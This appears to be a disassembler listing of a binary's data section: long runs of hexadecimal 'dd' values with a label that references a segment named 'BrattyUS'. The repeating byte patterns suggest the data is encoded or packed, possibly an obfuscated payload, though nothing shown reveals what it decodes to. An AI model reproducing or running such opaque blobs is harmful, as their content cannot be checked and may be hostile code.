		dd 2E39545Ch, 64D1D186h, 0DD2E2F25h, 0D12FBE38h, 2B52D8A5h
		dd 0A1FA2E2Eh, 0D1D19017h, 0C3D1D1D3h, 0DDD1D189h, 4439545Ch
		dd 64D1D186h, 0DD2E2F25h, 2B2FD438h, 8DFA2E2Eh,	0D1D19017h
		dd 6DD1D1D3h, 0DDD1D186h, 0EE39545Ch, 64D1D186h, 0DD2E2F25h
		dd 2B2C7E38h, 99FA2E2Eh, 0D1D19017h, 0B7D1D1D3h, 0DDD1D186h
		dd 3839545Ch, 64D1D187h, 0DD2E2F25h, 2B2C8838h,	0E5FA2E2Eh
		dd 0D1D19017h, 0C1D1D1D3h, 0DDD1D186h, 4239545Ch, 64D1D187h
		dd 0DD2E2F25h, 2B2CD238h, 0F1FA2E2Eh, 0D1D19017h, 6BD1D1D3h
		dd 0DDD1D187h, 0EC39545Ch, 64D1D187h, 0DD2E2F25h, 2B2D7C38h
		dd 2BFA2E2Eh, 3	dup(2B812E2Eh),	0D1812E2Eh, 2BD19017h
		dd 0F1392E2Eh, 675467DEh, 672B1554h, 672B1954h,	0B92B0154h
		dd 0D2D1D0D1h, 0CDD1D187h, 2B05545Ah, 1502E2Eh,	0C1D1D184h
		dd 6617E5B9h, 0DDD1D184h, 0EB39545Ch, 64D1D184h, 0DD2E2F25h
		dd 2B2A7B38h, 0A9FA2E2Eh, 2DD19052h, 2ED1903Ah,	0D3A4D12Eh
		dd 2E2ED1BBh, 2EF6392Eh, 0D128392Eh, 2E2ED1BBh,	2ED2392Eh
		dd 3930392Eh, 0D1D19014h, 21D1D1D3h, 0C1D1D185h, 0A239545Ch
		dd 64D1D185h, 0DD2E2F25h, 2B2B3238h, 14FA2E2Eh,	47B9D190h
		dd 0DDD1D185h, 0C839545Ch, 64D1D185h, 0DD2E2F25h, 0D1F6C1B9h
		dd 2F3D545Ch, 0C1812E2Eh, 2D655458h, 0DDD1903Ah, 0D17D642Eh
		dd 0DD2ED1BBh, 0B17D642Eh, 0D1D19014h, 7FD1D1D3h, 0C5D1D182h
		dd 0E039545Ch, 64D1D182h, 0DD2E2B65h, 8965642Eh, 0D1D19014h
		dd 0B7D1D1D3h, 0DDD1D182h, 3839545Ch, 64D1D183h, 0DD2E2F25h
		dd 2B288838h, 5FA2E2Eh,	0D1D19014h, 0DDD1D1D3h,	0DDD1D182h
		dd 5E39545Ch, 64D1D183h, 0DD2E2F25h, 2F3D545Ch,	0D1812E2Eh
		dd 62D1D1D3h, 0DDD1D183h, 0E739545Ch, 64D1D183h, 0DD2E2F25h
		dd 2FB9D0BBh, 99812E2Eh, 0F1D19014h, 59D19014h,	0C5D1900Ah
		dd 2BD239B9h, 0DDFA2E2Eh, 0D1D19014h, 0CBD1D1D3h, 0DDD1D183h
		dd 4C39545Ch, 64D1D180h, 0DD2E2F25h, 0F14D5B9h,	0DDD1D180h
		dd 0B039545Ch, 64D1D180h, 0DD2E2F25h, 0D525642Eh, 0E3D1D1D3h
		dd 0D1D9A42Eh, 0A4D1D1D3h, 2C4E39D9h
		dd 2C522E2Eh, 2CD12E2Eh, 5B2E2E2Eh, 0B02E2EB0h,	12D1D182h
		dd 46D1D181h, 0A4D1D181h, 0A4D439D9h, 2CA139D9h, 2CD12E2Eh
		dd 252E2E2Eh, 1A2E2EB1h, 5CD1D183h, 0F62FD154h,	0DDD1D181h
		dd 2BD1545Ch, 0A4D1D19Eh, 0A4B939D9h, 2C0239D9h, 2CD12E2Eh
		dd 8B2E2E2Eh, 0E02E2EB1h, 0D0D1D183h, 19121889h, 76D1D1D0h
		dd 0A8D1D1D0h, 0DDD1D19Eh, 0D0D9A42Eh, 0D1D1D1D1h, 0A4299416h
		dd 0DD8A3929h, 39BB2EBBh, 0C12EE567h, 91ED5458h, 0D1259458h
		dd 0A4BBC2A4h, 0DDD13921h, 0EABBF83Ah, 172E2EFBh, 8C5CD190h
		dd 0DD2E2E69h, 0D5D239B9h, 52D3A5D1h, 52D12DACh, 8881D511h
		dd 0C1D190CCh, 50841218h, 2EDC7D3Dh, 9C39812Eh,	0DD52D1D1h
		dd 0D1D9A42Eh, 2FBBD3BBh, 0C1812E2Eh, 2E5CD1BBh, 0DD39812Eh
		dd 2E5416B7h, 94D1D32Eh, 2FE9C42Eh, 0D5812E2Eh,	0D1B1545Ch
		dd 2E642ED1h, 2D2E812Eh, 2FD1903Ah, 2ED12E2Eh, 0DD39812Eh
		dd 2FBBD3BBh, 9D392E2Eh, 0DD52D1D1h, 0BB25642Eh, 2FD1BBD1h
		dd 0DD392E2Eh, 0D1D151B9h, 0D6B5545Ch, 0DDD1D19Dh, 2E4D5416h
		dd 2ED1D02Eh, 2	dup(2E52D12Eh),	2E3AD12Eh, 2E58912Eh, 2E545A2Eh
		dd 2E54EA2Eh, 5A555A2Eh, 2E254954h, 545C5A2Eh, 0A32E2575h
		dd 5154D190h, 23D1D1D1h, 0D1812E2Eh, 64D151B9h,	2E2E2F29h
		dd 2E6C522Eh, 2EA5D12Eh, 23A42E2Eh, 235C2E2Eh, 23912E2Eh
		dd 515A2E2Eh, 51D19016h, 0DDD19016h, 0BDA51154h, 0D1D19016h
		dd 2F2ED1BBh, 0DD392E2Eh, 2F417451h, 0D0B92E2Eh, 0DB45545Ch
		dd 0C1D1D19Bh, 23A15458h, 23522E2Eh, 23812E2Eh,	23512E2Eh
		dd 23EC2E2Eh, 23592E2Eh, 23D52E2Eh, 235B2E2Eh, 23592E2Eh
		dd 0D15C2E2Eh, 0DDB5545Ah, 0D125642Eh, 0D0D1D1D3h, 0B45545Ch
		dd 0C1D1D199h, 23BD5458h, 23522E2Eh, 23812E2Eh,	0DED12E2Eh
		dd 31D15B53h, 0C1D1903Ah, 2F55642Eh, 0DD812E2Eh, 8535545Ch
		dd 0B92E2E23h, 0C59016E1h, 0F52EF33Ah, 0D5D19016h, 2FD3A5D1h
		dd 52392E2Eh, 52D12DACh, 1481D511h, 0C1D190CCh,	80841218h
		dd 0D1B45280h, 915AD63Ah, 0EA2D9458h, 0D1A2DD94h, 63C1AC52h
		dd 0B9D1D1D1h, 979018B5h, 0DD52D1D1h, 5AD9945Ah, 17D4D994h
		dd 0B9D1D1D1h, 0DD90194Dh, 63D9945Ah, 0B9D1D1D1h, 5A901639h
		dd 0D1D4D994h, 582EDFA5h, 0A4AC52D0h, 180F39C9h, 525A8412h
		dd 2E52CD3Dh, 392ECDA4h, 0C92E2F57h, 0D13D9458h, 0CDE2D6A4h
		dd 701619B9h, 0D5901A49h, 0D29945Ch, 0C52E2E2Ch, 5AA51154h
		dd 0BBE23D94h, 0D5A42ED1h, 6635945Ch, 0C52E2E2Ch, 58A41154h
		dd 5B71D899h, 2E732594h, 2C392DA4h, 0C5522E2Eh,	59A51154h
		dd 0A252C399h, 0D2945AC4h, 5A5B3994h, 45D22D9Ch, 0D9D1D1D0h
		dd 2F39D5BBh, 2F522E2Eh, 0F1A42E2Eh, 65D19057h,	0ADD1D192h
		dd 0C9D1D1D0h, 61D1901Bh, 0DDD1D192h, 2E21945Ch, 0A4812E2Eh
		dd 0DD2539D9h, 50841218h, 3AD39D3Dh, 2CD1D190h,	2CD12E2Eh
		dd 2C912E2Eh, 2C5A2E2Eh, 0ABA2E2Eh, 11D1D190h, 0CC612EDDh
		dd 0DD2E2E83h, 2C5AF1BBh, 2CBA2E2Eh, 0DD2E2E80h, 9405545Ch
		dd 0E92E2E0Ch, 2C2E2E0Ch, 0D0812E2Eh, 7B29545Ch, 0C1D1D193h
		dd 0D12D9458h, 5C2EDFA4h, 0A42C2954h, 0DD7C39D9h, 0D118683Ah
		dd 0D13BB1B9h, 815CD5BBh, 18D9A42Eh, 805A8412h,	0D1B45280h
		dd 1129B452h, 0BB515AEBh, 0DD945AEBh, 18DDA42Eh, 505A8412h
		dd 0D0D0D53Dh, 76D9945Ah, 0A42E2EA3h, 0D92E39C1h, 0FAD19045h
		dd 2DD1D190h, 0A42E2E2Fh, 59A42EC5h, 0C9D1900Ah, 50841218h
		dd 2ED3813Dh, 0DD243981h, 5E69545Ch, 532E2E0Ah,	0D12E2E0Ah
		dd 525545Ch, 0DDD1D191h, 912DB452h, 0ED2D9458h,	0D138D4A4h
		dd 0D139B9D1h, 0DDD1D1D3h, 2C655458h, 0DD812E2Eh, 0D1D3D1B9h
		dd 0DD29A42Eh, 0D1B9C73Ah, 3F25545Ch, 0DDD1D1EEh, 2E2ECA38h
		dd 0A454882Eh, 0C1F139D9h, 8D2ED0BBh, 0D1D1D1D9h, 0DDDDA42Eh
		dd 26299458h, 26EA2E2Eh, 265A2E2Eh, 0D1812E2Eh,	522ED1BBh
		dd 64D025ACh, 522E2679h, 0A4D12DACh, 2E73392Dh,	0F715522Eh
		dd 12882E2Eh, 993D5A84h, 69D9945Ah, 0A4DCA4D1h,	0D1693969h
		dd 0A42EDCA4h, 0C13F392Dh, 0E02ED0BBh, 0DDD1D1ECh, 50D9A42Eh
		dd 0D12E2EC9h, 2E2EC2A4h, 2EE2882Eh, 175A812Eh,	0C12E2E77h
		dd 3981545Ch, 0D5D1ED7Ch, 39D3A5D1h, 872ECB94h,	39D190FCh
		dd 0DD2ECC16h, 0EDD07CB9h, 3A88D1D1h, 0D02EB9C5h, 58D1D1D5h
		dd 0D1522D94h, 2E50D8A5h, 0D0D1D12Eh, 39D1D1D5h, 0D5D1EE23h
		dd 0C5D190FFh, 80841218h, 0D1B45280h, 915AD63Ah, 0BA2D9458h
		dd 9052EB11h, 0BADED1D1h, 0BA5AEB11h, 0BA5AEB18h, 0BA58EB18h
		dd 0BA52EB11h, 0BA58EB18h, 9052EB11h, 0EAA4D1D1h, 0BAA52994h
		dd 0DD5AEB11h, 0A43BB1B9h, 0D1C42ED9h, 5F1FA9B9h, 2ED1D1EBh
		dd 0DD3921A4h, 81219458h, 0DD5E9DB9h, 81219458h, 0DD5E9DB9h
		dd 0DC259458h, 0DD1FB9B9h, 26DE1154h, 26D12E2Eh, 2E812E2Eh
		dd 0D13921A4h, 0DD0555DEh, 2EDE1154h, 0DD3921A4h, 39B9D7BBh
		dd 26D1ED22h, 0D6D02E2Eh, 391FE1B9h, 0C6D1ED1Ch, 0DDD1D1E9h
		dd 64D9A42Eh, 2E2E2F23h, 8FE8882Eh, 0DDD1D1E6h,	2E27545Ch
		dd 81812E2Eh, 29E6DA39h, 44D1D1E7h, 902E2F37h, 492E2E26h
		dd 0DDD1D1E7h, 65D9A42Eh, 2E2E2E94h, 2839812Eh,	28912E2Eh
		dd 285A2E2Eh, 0C5BA2E2Eh, 16D1D1E7h, 282E2E01h,	5A812E2Eh
		dd 11280554h, 0EB51D4EBh, 1105545Ah, 251D4EBh, 0DDD1D1E4h
		dd 2E7D545Ch, 139812Eh,	2E882E2Eh, 2C39812Eh, 2ED12E2Eh
		dd 2B5C812Eh, 28812E2Eh, 2C812E2Eh, 0EEBB2E2Eh,	2811E288h
		dd 2C812E2Eh, 0DD812E2Eh, 0D1A41154h, 2C39D1D1h, 2ED22E2Eh
		dd 2E11542Eh, 2C11542Eh, 2ED32E2Eh, 2C11542Eh, 2 dup(2CD22E2Eh)
		dd 2ED22E2Eh, 2	dup(2E54592Eh),	2E54172Eh, 2E51D02Eh, 4EBBD12Eh
		dd 2E2E2E26h, 2E545B2Eh, 2E54592Eh, 2B79B92Eh, 28812E2Eh
		dd 0F9812E2Eh, 78D1901Eh, 0C5D1D1E2h, 643279B9h, 2B2E2B23h
		dd 28812E2Eh, 9E812E2Eh, 0C92E2E4Ch, 2E796C52h,	2FA4D12Eh
		dd 0D5D12E2Eh, 0FACFA4D1h, 182D7554h, 2CD1D239h, 28812E2Eh
		dd 2C812E2Eh, 0DD812E2Eh, 9E21C9B9h, 2CD1D1E4h,	0DD812E2Eh
		dd 18443981h, 2FD1D239h, 2F912E2Eh, 2E522E2Eh, 0CF2E812Eh
		dd 0D5D190E2h, 64D3A5D1h, 2E2E287Dh, 2B5CD12Eh,	5C812E2Eh
		dd 0E52B2F54h, 0C12E2E4Ah, 2E75545Bh, 0D439B92Eh, 38D1D239h
		dd 2F2E2F05h, 0D1392E2Eh, 2854FAD1h, 49812E2Eh,	7FD1901Fh
		dd 0CD2E2E4Bh, 0E529A42Eh, 91DDAC52h, 0BA3D9458h, 0BADEEB11h
		dd 1CD4EB11h, 512E2E1Bh, 58D1D080h, 0D1522D94h,	5150D8A5h
		dd 51D1D080h, 52D1D080h, 1E325ACh, 3AD1D1D6h, 0D19416D6h
		dd 58D1D1D0h, 18522194h, 0D9D1D1D3h, 0DDD1D1D0h, 0DD2EDFBBh
		dd 5829945Ah, 58D0CB59h, 39D0CF59h, 0DDD1D1FFh,	5A21A42Eh
		dd 292E2994h, 5AD51152h, 4DDED994h, 0F5D190E5h,	50841218h
		dd 0F6D54D3Dh, 2ED1D1D2h, 0D139812Eh, 9BD19001h, 0DD2E2E49h
		dd 2E1D7452h, 5C52D12Eh, 0F02D0554h, 0DD2E2E95h, 2D299458h
		dd 2D912E2Eh, 2A522E2Eh, 2A912E2Eh, 2A5A2E2Eh, 90BA2E2Eh
		dd 11DED1D1h, 0A51D4EBh, 0DDD1D1FCh, 11A9545Ah,	0B051D4EBh
		dd 852E2E19h, 2E2E2E19h, 2ED1D32Eh, 2ED1D22Eh, 54D1D32Eh
		dd 2EDBA511h, 2ED1D22Eh, 2EA4D22Eh, 2ED1D32Eh, 59A4D22Eh
		dd 2A2AB954h, 0D0172E2Eh, 500EB451h, 5B2E2E21h,	2A2ABD54h
		dd 0C1812E2Eh, 9DA55458h, 9DD1D1D0h, 64D1D1D0h,	0DD2E2AB5h
		dd 0CFAD545Ah, 0A4D190E2h
		dd 1A01B929h, 0C12E2E44h, 812C6A38h, 0DD5E9DB9h, 2D299458h
		dd 5D2E2E2Eh, 0BCD1901Eh, 0C52E2E44h, 2E01642Eh, 5252392Eh
		dd 51D12DACh, 52D1D1D0h, 0DD81D511h, 0D4D072B9h, 0D1D1D055h
		dd 622DA42Eh, 0C1D190EDh, 50841218h, 76D2113Dh,	2ED1D1D0h
		dd 0DD39812Eh, 7FD9A42Eh, 2CD1D1FBh, 2C912E2Eh,	2C5A2E2Eh
		dd 11BA2E2Eh, 0AC51D4EBh, 0DD2E2EE8h, 0C239545Ch, 2F2E2E14h
		dd 2C812E2Eh, 0F3BA2E2Eh, 0E3D1D1FBh, 0DDD1D1FBh, 11546FDEh
		dd 2D7152EBh, 52812E2Eh, 52D12DACh, 8381D511h, 0C1D19091h
		dd 50841218h, 60D36D3Dh, 0A5D1D1D3h, 0DDD1D1F8h, 2ED9A42Eh
		dd 0D12F9F64h, 2C99545Ch, 0C1812E2Eh, 81299458h, 2C99545Ch
		dd 0D1812E2Eh, 24D19000h, 0C52E2E43h, 0EADE8F3Ah, 2C2F9F54h
		dd 19812E2Eh, 68D19001h, 0C12E2E43h, 2C5CF33Ah,	49812E2Eh
		dd 44D19001h, 0C12E2E43h, 5295642Eh, 51D12DACh,	60D1E73Fh
		dd 52D1D1D3h, 0B9D125ACh, 52D1D0D1h, 0DD81D511h, 0DD2ED7BBh
		dd 5825945Ah, 0D4D0DB59h, 0D1D1D0DFh, 1025A42Eh, 0C9D19090h
		dd 50841218h, 62D30D3Dh, 54D1D1D3h, 0DDD1D1F6h,	2ED9A42Eh
		dd 662F9D64h, 2C2F9554h, 2C812E2Eh, 0CD2E2E41h,	0D5946FDEh
		dd 0DEDEA4D1h, 66975C66h, 0DD812594h, 0D129A42Eh, 2CE5545Ch
		dd 0DD812E2Eh, 0B75E3981h, 52D1D0D4h, 0DE2CE16Ch, 2E975C66h
		dd 0D52E2E2Eh, 64D3A5D1h, 912E2CF9h, 2C2D9458h,	5D812E2Eh
		dd 2ED19000h, 5E39812Eh, 0C1522E2Eh, 39FD545Bh,	5CD1F466h
		dd 8C2F8154h, 0C92E2E5Eh, 0F929A42Eh, 0D1DDAC52h, 2E50D8A5h
		dd 52D1D12Eh, 0A7D12DACh, 58945AC3h, 5A5A3994h,	3A583994h
		dd 19416D6h, 58D1D1D6h,	0D1522594h, 0B150D8A5h,	1D1D13Bh
		dd 0D1D1D1D6h, 52D1D1D0h, 0DD81D511h, 0B72D945Ah, 0B13D9C5Ah
		dd 0B1D1D13Bh, 58D1D13Bh, 5A5A0D94h, 5A580D9Ch,	7258099Ch
		dd 0D4D1D1D0h, 2ED1D0C1h, 0DED0DD61h, 2DD75166h, 5AD51152h
		dd 61DED994h, 0F1D19092h, 52841218h, 2E16C13Dh,	0DD39DDA4h
		dd 0D12D9458h, 81E2D6A4h, 0DD5A85B9h, 0D12D9458h, 0E2E2D6A4h
		dd 5A9C5819h, 0AD912994h, 99945AD6h, 0FA259458h, 0DD5A2194h
		dd 0D12D9458h, 0F1E2D5A4h, 0BB3DB452h, 0D54DB9D1h, 81D1D1D0h
		dd 0D1D9A42Eh, 2EBBD1BBh, 2EA1DDC4h, 5DA1F9C4h,	0D5D19003h
		dd 0DDD9A42Eh, 51399458h, 39D19003h, 2D81152h, 0D5D1D1F0h
		dd 5CD1D1D0h, 52812594h, 0D3D435ACh, 815CE0A5h,	0DD0395B9h
		dd 0D552A9B9h, 0DE9459D0h, 3125946Fh, 76D1D1D4h, 2ED1D1D0h
		dd 0AA39812Eh, 2D2E2E2Fh, 2D392E2Eh, 902E2E2Eh,	0DD545CD1h
		dd 2DAD7452h, 0A9D12E2Eh, 1ED19052h, 2ED1D1F1h,	0D3A4D12Eh
		dd 2E2ED1BBh, 0DD69392Eh, 2EED642Eh, 2E5B392Eh,	2E6C502Eh
		dd 2ED1D12Eh, 2E54582Eh, 0D1D1BB2Eh, 2EED642Eh,	0DDB5392Eh
		dd 2E91545Ah, 2E81912Eh, 2E6C522Eh, 2EA4D12Eh, 2EF4392Eh
		dd 2E642E2Eh, 2ED0BB2Eh, 0C1C5392Eh, 2EED642Eh,	2E29392Eh
		dd 2E54D22Eh, 2EF1512Eh, 2E54582Eh, 2E61B92Eh, 2E23392Eh
		dd 7954582Eh, 2ED19002h, 711F392Eh, 2ED19002h, 4967392Eh
		dd 2ED19002h, 414F392Eh, 2ED19002h, 2E57392Eh, 2E545B2Eh
		dd 2E54592Eh, 0DD2BE164h, 2E6D545Ch, 0DD2BE964h, 2EED545Ch
		dd 0DD2BF964h, 2E9D545Ch, 0DDB9812Eh, 2EED545Ch, 0DD2BFD64h
		dd 2AED545Ch, 2D812E2Eh, 2D912E2Eh, 2BB92E2Eh, 2A812E2Eh
		dd 2E812E2Eh, 2D2E812Eh, 2EB92E2Eh, 0F139812Eh,	2E05545Ah
		dd 2EA9522Eh, 2EEE392Eh, 2E6C522Eh, 2EA4D12Eh, 2E11522Eh
		dd 2E8A382Eh, 2D27392Eh, 2D5A2E2Eh, 32E2E2Eh, 0C55CD190h
		dd 2E05642Eh, 3A13392Eh, 0D113183Bh, 523AD3A4h,	0CF81D511h
		dd 0C1D1909Bh, 2D691218h, 2ED1D1DEh, 0DD39812Eh, 0D1D9A42Eh
		dd 0C4D16C52h, 2E900E81h, 0D0D16C52h, 8021AC52h, 58B452D9h
		dd 0D121F554h, 8021AC52h, 2E9C52D9h, 2ED16C52h,	0DD39812Eh
		dd 243D7452h, 58512E2Eh, 5421D154h, 0C154DE11h,	7421645Ch
		dd 0C1747474h, 2ED19007h, 0D3C42E81h, 24D96C52h, 0D1812E2Eh
		dd 58C9545Ah, 2321CD54h, 3E582E2Eh, 2 dup(3E5A2E2Eh), 542E2E2Eh
		dd 0D254DE11h, 203D6C52h, 205A2E2Eh, 0D1812E2Eh, 2429545Ch
		dd 0D1812E2Eh, 2EC1545Ah, 206C522Eh, 20D12E2Eh,	54582E2Eh
		dd 2054DE11h, 0C4B92E2Eh, 2090A031h, 0D1582E2Eh, 20CD642Eh
		dd 24812E2Eh, 0D1812E2Eh, 2ED9545Ah, 0B56C522Eh, 0C4D1905Ah
		dd 0C490A031h, 0C490A12Dh, 2E90A12Dh, 2CC42E81h, 2C912E2Eh
		dd 2CDE2E2Eh, 2C812E2Eh, 2EB92E2Eh, 0C539812Eh,	0C40465B9h
		dd 0D190A0D9h, 0C4D1900Eh, 8E90A12Dh, 2DD1D1C7h, 99D19055h
		dd 0C4D1D1C7h, 0F790A12Dh, 2CD1D1C7h, 2C912E2Eh, 27B92E2Eh
		dd 64812E2Eh, 8D2E2C3Dh, 0C9D19004h, 0C40481B9h, 2190A0D9h
		dd 0B9812E2Eh, 9DD1D1C5h, 80D19004h, 0EBD1D1C5h, 9DD1D1C5h
		dd 0F3D19004h, 0C4D1D1C5h, 2E90A12Dh, 9DD1D1C2h, 39D19004h
		dd 0D1D1C2h, 0C4D1D1C2h, 2C90A1EDh, 2C912E2Eh, 21B92E2Eh
		dd 2C812E2Eh, 2EB92E2Eh, 0C539812Eh, 0D12F6438h, 2ED19004h
		dd 25C42E81h, 0EAD19005h, 0D0D1D1C2h, 5B9D1D1h,	0F15CD190h
		dd 3DD1D1C2h, 0D8D19005h, 20D1D1C2h, 90812E2Eh,	0C545CD1h
		dd 0DD1D1C3h, 17D19005h, 2CD1D1C3h, 2C912E2Eh, 2CB92E2Eh
		dd 2C812E2Eh, 90B92E2Eh, 0D1545CD1h, 0C4D1900Eh, 9C90A12Dh
		dd 9DD1D1C3h, 0E7D19004h, 0C4D1D1C3h, 0C590A12Dh, 2CD1D1C3h
		dd 2C912E2Eh, 27B92E2Eh, 64812E2Eh, 0E92E2C3Dh,	0C9D19005h
		dd 0D1D3D1B9h, 0A621545Ch, 0DDD1D1C0h, 0D1D3D1B9h, 0B0D5545Ch
		dd 0DDD1D1C0h, 0D3296738h, 203D6C52h, 0D05A2E2Eh, 24D96C52h
		dd 39592E2Eh, 2CD1D1D2h, 25A2E2Eh, 0C15CD190h, 2EC1642Eh
		dd 0D117392Eh, 8021AC52h, 2E9C52D9h, 0B5D16C52h, 90D1DC58h
		dd 76A4D1D1h, 52D1D1D0h, 52D12DACh, 0D181D511h,	252DA42Eh
		dd 0C1D1909Fh, 80841218h, 522D9C58h, 5AA5D1E9h,	80D85AD8h
		dd 91218D9h, 76D1D1D4h,	4D1D1D0h, 0DDD1D1DEh, 2AD9A42Eh
		dd 2AD12E2Eh, 55D12E2Eh, 0DDD19006h, 0A1A41154h, 0B5D19006h
		dd 2AD19006h, 0BBD02E2Eh, 0BBF5B9D1h, 2ADDB9D1h, 2AD02E2Eh
		dd 2A542E2Eh, 2AD12E2Eh, 0ADD12E2Eh, 86D19007h,	0CD2E2EA6h
		dd 5299642Eh, 52D12DACh, 0D181D511h, 0B12DA42Eh, 0C1D1908Ah
		dd 80841218h, 912DB452h, 2D9458h, 0DD9C5A31h, 0A51154h
		dd 9C5A31h, 0DD9C5A31h,	0D0A51154h, 0CAD53A89h,	0DD522E2Eh
		dd 4 dup(0DDA51154h), 0D1A51154h, 169B39D1h, 0DDD1D1DAh
		dd 38D9A42Eh, 38262E2Eh, 38BB2E2Eh, 2E392E2Eh, 0C4D1D1D1h
		dd 0C490A3B1h, 3890A3EDh, 0C1392E2Eh, 2E5CD1BBh, 0C139812Eh
		dd 6469545Ch, 382E3E65h, 0D4392E2Eh, 0D116D1D1h, 0D55CD1BBh
		dd 2E61545Ch, 383E6564h, 0D4392E2Eh, 385CD1D1h,	0D1522E2Eh
		dd 3821642Eh, 0CE2E2E2Eh, 0C12E2EA5h, 165D7451h, 422E2EBCh
		dd 622E2F32h, 0EB2E2EBCh, 0C42E2F35h, 0D290A395h, 0B6D1D1DBh
		dd 5F2E2EBCh, 6F2E2F32h, 0D1D1D1D8h, 64C1F9B9h,	382E3E65h
		dd 0D5522E2Eh, 38D4A5D1h, 385B2E2Eh, 5A5C2E2Eh,	395C2D94h
		dd 38D1D941h, 38DE2E2Eh, 2 dup(385A2E2Eh), 392E2E2Eh, 0C12E2AF8h
		dd 0D2DE1154h, 5 dup(0D2379954h), 0D237995Ch, 0D2379954h
		dd 0D2398554h, 0D137995Ch, 38D1D1D0h, 0AC2E2E2Eh, 0DD2E2EC4h
		dd 38D0D1B9h, 2E2E2E2Eh, 0DD39812Eh, 909545Ah, 5C2E2E38h
		dd 0C7398954h, 0C9D1D1D7h, 0D19D5458h, 0A454FAD1h
		dd 32545A2Dh, 0DD2E2EC5h, 5C89545Ch, 603A2554h,	0DD2E2EBEh
		dd 38D239B9h, 0D5522E2Eh, 0D1D4A5D1h, 2E54FAD1h, 2E545A2Eh
		dd 0D254EA2Eh, 39398154h, 0DD812E2Eh, 5C89545Ch, 0ED3A2554h
		dd 0DD2E2EBEh, 38D239B9h, 0D5522E2Eh, 2ED3A5D1h, 2EAED42Eh
		dd 385C3A2Eh, 0DD392E2Eh, 0D1D27AB9h, 5A38D4A4h, 0D158299Ch
		dd 0D1D1900Eh, 5AD1D1D3h, 5F522D94h, 0DD2E2EC2h, 0D4D072B9h
		dd 2ED1D3D9h, 0B8B9D5A1h, 0C5D1908Eh, 80841218h, 0D152A9B9h
		dd 392EDFA5h, 52D1D59Ch, 0D12ED190h, 39BB91A5h,	39D1D5D2h
		dd 18D1D225h, 0BB5A8412h, 9049B92Eh, 0D170B5D1h, 778080D1h
		dd 0D3D1D1D2h, 0F1D1D1D2h, 39097452h, 0C4D1D1D2h, 0C190A129h
		dd 0A10B29B9h, 0B981D190h, 2903A2Dh, 39D1D1D0h,	2ED1D0A1h
		dd 0DDA3B5C4h, 3EF9CA39h, 0D0D12E2Eh, 0B1D1D1D1h, 0EFD1D13Bh
		dd 3E2E2F3Bh, 3EC82E2Eh, 39C52E2Eh, 3E2EBDBCh, 3E912E2Eh
		dd 723A2E2Eh, 852E2EB5h, 0DD2E2F38h, 3F0D5458h,	3FD12E2Eh
		dd 0D12E2E2Eh, 552E9D38h, 0A52E2EAFh, 0C9D1900Fh, 39D19012h
		dd 0DD2F1985h, 0D1B45A12h, 0BD2EE338h, 0C9D1900Fh, 39D19012h
		dd 0DD2F19E3h, 2EB45A12h, 65D9EC52h, 0A0D190A0h, 1D2ED190h
		dd 1D1D1D1Dh, 541D1D1Dh, 0A0305AD0h, 0A02ED190h, 1D1DD190h
		dd 2 dup(1D1D1D1Dh), 1D5A821Dh,	3 dup(1D1D1D1Dh), 26828786h
		dd 9D215A20h, 2ED190A0h, 0F570B581h, 0F558B5DDh, 1DBD5CDDh
		dd 1D1D1D1Dh, 0D1D1BB1Dh, 0A0A51154h, 2E54D190h, 0C139D9A4h
		dd 1E5CD1BBh, 20D1D1D1h
		db 2 dup(2Eh), 39h
byte_3FD84B	db 5Ch			; DATA XREF: BrattyUS:003DF438o
		dd 0BBD27154h, 52D190D1h, 0CF823AD3h, 9458545Ch, 3D503D29h
		dd 0D0D1D151h, 9458D1D1h, 0D1D1D32Dh, 0A42E2E2Fh, 0D1B9B9F5h
		dd 0D1D1D0D1h, 0D329545Ch, 1218D1D1h, 0D37DB984h, 0F25467DEh
		dd 642E545Ch, 0D1D08985h, 88C42ED1h, 0C42E1154h, 2EFF3845h
		dd 8999545Ah, 0B9A1545Ah, 0D1D19D39h, 835467DEh, 545C39B9h
		dd 9051298Ch, 182E2E2Eh, 0AC52D513h, 0D1D37DDDh, 0D088D1D0h
		dd 0D08288D1h, 969B39D1h, 0A567DE88h, 0D1AC9050h, 3D5A84D1h
		dd 0DAFAD1D0h, 5075945Ah, 0B9C63A90h, 0D1121888h, 90A1C42Eh
		dd 2FF939D1h, 2188D1D1h, 90A1900Fh, 0D1BBC1D1h,	0D1017452h
		dd 0B9D1D1BBh, 0D190A1D1h, 0D12CD139h, 0D1D088D1h, 0D1D3D1D1h
		dd 38D1D3D1h, 1138D0DAh, 0C42EDBD1h, 38545ADDh,	803D2F5Ah
		dd 5888D12Eh, 0E2D190A1h, 53FD3A11h, 0D1D27690h, 39D1D3D1h
		dd 0B98890ACh, 0A42ED0C9h, 0D1B9FA3Ah, 50258888h, 12188890h
		dd 5890537Dh, 642ECD54h, 0D1F6C1F1h, 0D1CD642Eh, 0B9D188D1h
		dd 0D190A3D1h, 0A36C50DDh, 0D09AD190h, 0F5CD0CD1h, 9BF1642Eh
		dd 545CD1D0h, 5AE23A90h, 3A5ACFA4h, 0BBD33AD3h,	0D1D5D0D1h
		dd 5989C42Eh, 8188D1C2h, 0D5545839h, 0A4CD642Eh, 52A9D1D1h
		dd 0C5545890h, 0FBD5642Eh, 0BBD3D1D1h, 0D190A3D1h, 99D190A3h
		dd 54589052h, 6C52D839h, 2ED1D099h, 3AD3CD64h, 0C73AD3BBh
		dd 0F5E8D1D0h, 642E3D39h, 0CD642EC5h, 3D88D1D1h, 24383D52h
		dd 0D1D097D1h, 788D1D0h, 2EF0D1D2h, 947939A4h, 39A42ED7h
		dd 0D0729443h, 94B639D1h, 0D79052ADh, 0A63AAC52h, 950D39B9h
		dd 0D1905271h, 0D1D252D1h, 2D545CD1h, 586C52D8h, 642E2154h
		dd 2554583Dh, 2E356C52h, 0D1FA3D64h, 6C52FDD1h,	0C2545AC1h
		dd 5ADA642Eh, 90537D94h, 2E395458h, 0D0BB3D64h,	945AF82Eh
		dd 0D0D1D093h, 0F6C13889h, 6C52D8D1h, 0D0D1D090h, 0D27E3A89h
		dd 0A97452D1h, 0A1545CD1h, 0C42ED190h, 545AC8B5h, 0D4E95416h
		dd 545CD1D1h, 0E554161Eh, 5C99B9D7h, 54161F54h,	54E9B9E5h
		dd 0D6D15738h, 545CE1B9h, 0E554161Eh, 2D5F54DEh, 54589055h
		dd 545AF4CDh, 9AD1D151h, 0D43AD1D1h, 0A9545838h, 39A9545Ah
		dd 642EEA15h, 0ED545C15h, 5C15642Eh, 642EED54h,	0ED545C15h
		dd 0DD5416DDh, 0CD0C5416h, 545CDEF5h, 0B8546FDEh, 0BB816FDEh
